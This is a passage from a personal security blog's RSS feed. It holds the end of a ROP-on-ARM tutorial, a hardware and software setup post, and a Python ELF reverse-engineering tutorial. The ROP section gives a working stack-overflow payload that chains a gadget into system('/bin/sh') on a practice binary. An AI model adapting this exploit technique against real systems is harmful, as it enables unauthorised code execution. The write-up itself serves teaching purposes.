 638see a segmentation fault occur.</p>
 639
 640<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
 641
 642<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
 643
 644<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
 645
 646<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
 647<code>gadget</code>. Disassembling the <code>main</code> function:</p>
 648
 649<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
 650
 651<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
 652to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
 653never actually called.</p>
 654
 655<p>Disassembling the <code>gadget</code> function:</p>
 656
 657<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
 658
 659<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
 660which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
 661instruction in the middle. This is a <strong>gadget</strong>.</p>
 662
 663<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
 664arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
 665are used for this. So this gadget effectively allows us to pass arguments to
 666functions using <code>r0</code>, and subsequently jumping to them by passing its address
 667in <code>pc</code>. Neat.</p>
 668
 669<p>Moving on to the disassembly of the <code>winner</code> function:</p>
 670
 671<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
 672
 673<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
 674So our end goal here is to, quite obviously, execute code via the <code>system()</code>
 675function.</p>
 676
 677<p>Now that we have an overview of what’s in the binary, let’s formulate a method
 678of exploitation by messing around with inputs.</p>
 679
 680<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
 681
 682<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
 683screenshot.</p>
 684
 685<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
 686
 687<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
 688the <code>pc</code> has been overwritten with our input.
 689So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
 690
 691<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
 692control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
 693
 694<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
 695of the second instruction — <code>add r11, sp, #4</code>. 
 696For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
 697the address of <code>winner</code>. Note the endianness.</p>
 698
 699<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
 700</code></pre></div>
 701
 702<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
 703
 704<p>The reason we don’t jump to the first instruction is because we want to control the stack
 705ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
 706those out after <code>winner</code> is done executing and we will no longer control 
 707where it jumps to.</p>
 708
 709<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
 710But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
 711to do what we want (run a command, execute a shell, etc.).</p>
 712
 713<p>To do that, we’ll follow a multi-step process: </p>
 714
 715<ol>
 716<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
 717<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
 718<code>r0</code>.</li>
 719<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
 720</ol>
 721
 722<p>The pseudo-code is something like this:</p>
 723
 724<pre><code>string = AAAABBBBCCCCDDDDEEEE
 725gadget = # addr of gadget
 726binsh  = # addr of /bin/sh
 727system = # addr of system()
 728
 729print(string + gadget + binsh + system)
 730</code></pre>
 731
 732<p>Clean and mean.</p>
 733
 734<h3 id="the-exploit">The exploit</h3>
 735
 736<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
 737It allows us to pack the bytes of addresses to the endianness of our choice.
 738It probably does a lot more, but who cares.</p>
 739
 740<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
 741at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
 742
 743<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
 744</code></pre>
 745
 746<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
 747
 748<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
 749found from the disassmblies from earlier. Here’s the final exploit code:</p>
 750
 751<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
 752
 753<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
 754<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
 755<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
 756<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
 757
 758<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
 759</code></pre></div>
 760
 761<p>Honestly, not too far off from our pseudo-code :)</p>
 762
 763<p>Let’s see it in action:</p>
 764
 765<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
 766
 767<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
 768when the pipe closes, since there’s no input coming in from STDIN.
 769To get around this, we use <code>cat(1)</code> which allows us to relay input through it
 770to the shell. Nifty trick.</p>
 771
 772<h3 id="conclusion">Conclusion</h3>
 773
 774<p>This was a fairly basic challenge, with everything laid out conveniently. 
 775Actual ropchaining is a little more involved, with a lot more gadgets to be chained
 776to acheive code execution.</p>
 777
 778<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
 779]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
 780
 781<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
 7828 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
 783
 784<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
 785I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
 786
 787<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
 788
 789<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
 790For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
 791
 792<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
 793Great pair of headphones, although the ear cups need replacing.</p>
 794
 795<h3 id="and-the-software">And the software</h3>
 796
 797<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
 798window manager, all riced. I now use whatever JustWorks™.</del></p>
 799
 800<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
 801running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
 802
 803<p>Here’s a (riced) screenshot of my desktop. </p>
 804
 805<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
 806
 807<p>Most of my work is done in either the browser, or the terminal.
 808My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
 809a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
 810My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
 811I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
 812
 813<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
 814clean and a single command to drop into a Kali shell.</p>
 815
 816<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
 817The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
 818
 819<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
 820]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
 821
 822<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
 823
 824<h3 id="setup">Setup</h3>
 825
 826<p>As the title suggests, you’re going to need a Python 3 interpreter before
 827anything else. Once you’ve confirmed beyond reasonable doubt that you do,
 828in fact, have a Python 3 interpreter installed on your system, run</p>
 829
 830<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
 831</code></pre></div>
 832
 833<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
 834
 835<p>With that out of the way, let’s start with an example of a basic reversing
 836challenge.</p>
 837
 838<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
 839
 840<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
 841<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
 842<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>
 843
 844<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
 845   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
 846   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
 847   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
 848       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
 849   <span class="p">}</span>
 850   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
 851   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
 852   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
 853   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
 854   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
 855       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
 856   <span class="p">}</span>
 857   <span class="k">else</span> <span class="p">{</span>
 858       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
 859   <span class="p">}</span>
 860<span class="p">}</span>
 861</code></pre></div>
 862
 863<p>Compile it with GCC/Clang:</p>
 864
 865<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
 866</code></pre></div>
 867
 868<h3 id="scripting">Scripting</h3>
 869
 870<p>For starters, let’s look at the different sections present in the binary.</p>
 871
 872<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
 873
 874<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
 875
 876<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 877    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
 878    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
 879        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
 880</code></pre></div>
 881
 882<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
 883
 884<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
 885<span class="go">0x238 .interp</span>
 886<span class="go">0x254 .note.ABI-tag</span>
 887<span class="go">0x274 .note.gnu.build-id</span>
 888<span class="go">0x298 .gnu.hash</span>
 889<span class="go">0x2c0 .dynsym</span>
 890<span class="go">0x3e0 .dynstr</span>
 891<span class="go">0x484 .gnu.version</span>
 892<span class="go">0x4a0 .gnu.version_r</span>
 893<span class="go">0x4c0 .rela.dyn</span>
 894<span class="go">0x598 .rela.plt</span>
 895<span class="go">0x610 .init</span>
 896<span class="go">0x630 .plt</span>
 897<span class="go">0x690 .plt.got</span>
 898<span class="go">0x6a0 .text</span>
 899<span class="go">0x8f4 .fini</span>
 900<span class="go">0x900 .rodata</span>
 901<span class="go">0x924 .eh_frame_hdr</span>
 902<span class="go">0x960 .eh_frame</span>
 903<span class="go">0x200d98 .init_array</span>
 904<span class="go">0x200da0 .fini_array</span>
 905<span class="go">0x200da8 .dynamic</span>
 906<span class="go">0x200f98 .got</span>
 907<span class="go">0x201000 .data</span>
 908<span class="go">0x201010 .bss</span>
 909<span class="go">0x0 .comment</span>
 910<span class="go">0x0 .symtab</span>
 911<span class="go">0x0 .strtab</span>
 912<span class="go">0x0 .shstrtab</span>
 913</code></pre></div>
 914
 915<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
 916
 917<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
 918
 919<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
 920
 921<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
 922<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
 923
 924<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 925    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
 926    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
 927    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
 928    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
 929    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
 930    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
 931        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
 932</code></pre></div>
 933
 934<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
 935
 936<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
 937<span class="go">0x6a0: xor ebp, ebp</span>
 938<span class="go">0x6a2: mov r9, rdx</span>
 939<span class="go">0x6a5: pop rsi</span>
 940<span class="go">0x6a6: mov rdx, rsp</span>
 941<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
 942<span class="go">0x6ad: push rax</span>
 943<span class="go">0x6ae: push rsp</span>
 944<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
 945<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
 946<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
 947<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
 948<span class="go">0x6ca: hlt</span>
 949<span class="go">... snip ...</span>
 950</code></pre></div>
 951
 952<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
 953
 954<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
 955
 956<blockquote>
 957  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
 958</blockquote>
 959
 960<p>To try and find these relocation entries, we write a third script.</p>
 961
 962<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
 963
 964<span class="kn">import</span> <span class="nn">sys</span>
 965<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
 966<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
 967
 968<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 969    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
 970    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
 971        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
 972            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
 973            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
 974            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
 975                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
 976                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
 977                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
 978</code></pre></div>
 979
 980<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
 981
 982<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
 983<span class="go">.rela.dyn:</span>
 984<span class="go"> 0x200d98</span>
 985<span class="go"> 0x200da0</span>
 986<span class="go"> 0x201008</span>
 987<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
 988<span class="go">**__libc_start_main 0x200fe0**</span>
 989<span class="go">__gmon_start__ 0x200fe8</span>
 990<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
 991<span class="go">__cxa_finalize 0x200ff8</span>
 992<span class="go">stdin 0x201010</span>
 993<span class="go">.rela.plt:</span>
 994<span class="go">puts 0x200fb0</span>
 995<span class="go">printf 0x200fb8</span>
 996<span class="go">fgets 0x200fc0</span>
 997<span class="go">strcmp 0x200fc8</span>
 998<span class="go">malloc 0x200fd0</span>
 999</code></pre></div>
1000
1001<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
1002
1003<blockquote>
1004  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1005</blockquote>
1006
1007<p>And its definition is like so</p>
1008
1009<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
1010<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
1011<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1012<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1013<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1014<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1015</code></pre></div>
1016
1017<p>Looking back at our disassembly</p>
1018
1019<pre><code>0x6a0: xor ebp, ebp
10200x6a2: mov r9, rdx
10210x6a5: pop rsi
10220x6a6: mov rdx, rsp
10230x6a9: and rsp, 0xfffffffffffffff0
10240x6ad: push rax
10250x6ae: push rsp
10260x6af: lea r8, [rip + 0x23a]
10270x6b6: lea rcx, [rip + 0x1c3]
1028**0x6bd: lea rdi, [rip + 0xe6]**
10290x6c4: call qword ptr [rip + 0x200916]
10300x6ca: hlt
1031... snip ...
1032</code></pre>
1033
1034<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1035
1036<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1037
1038<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1039
1040<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1041
1042<pre><code>printf 0x650
1043fgets  0x660
1044strcmp 0x670
1045malloc 0x680
1046</code></pre>
1047
1048<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1049
1050<pre><code>0x7b2: mov edi, 0xa  ; 10
10510x7b7: call 0x680    ; malloc
1052</code></pre>
1053
1054<p>The loop to populate the <code>*pw</code> string</p>
1055
1056<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
10570x7d3:  cdqe    
10580x7d5:  lea     rdx, [rax - 1]
10590x7d9:  mov     rax, qword ptr [rbp - 0x10]
10600x7dd:  add     rax, rdx
10610x7e0:  movzx   eax, byte ptr [rax]
10620x7e3:  lea     ecx, [rax + 1]
10630x7e6:  mov     eax, dword ptr [rbp - 0x14]
10640x7e9:  movsxd  rdx, eax
10650x7ec:  mov     rax, qword ptr [rbp - 0x10]
10660x7f0:  add     rax, rdx
10670x7f3:  mov     edx, ecx
10680x7f5:  mov     byte ptr [rax], dl
10690x7f7:  add     dword ptr [rbp - 0x14], 1
10700x7fb:  cmp     dword ptr [rbp - 0x14], 8
10710x7ff:  jle     0x7d0
1072</code></pre>
1073
1074<p>And this looks like our <code>strcmp()</code></p>
1075
1076<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
10770x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
10780x84b:  mov     rsi, rdx             
10790x84e:  mov     rdi, rax
10800x851:  call    0x670                       ; strcmp  
10810x856:  test    eax, eax                    ; is = 0? 
10820x858:  jne     0x868                       ; no? jump to 0x868
10830x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
10840x861:  call    0x640                       ; puts
10850x866:  jmp     0x874
10860x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
10870x86f:  call    0x640                       ; puts  
1088</code></pre>
1089
1090<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1091
1092<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1093
1094<h3 id="conclusion">Conclusion</h3>
1095
1096<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1097
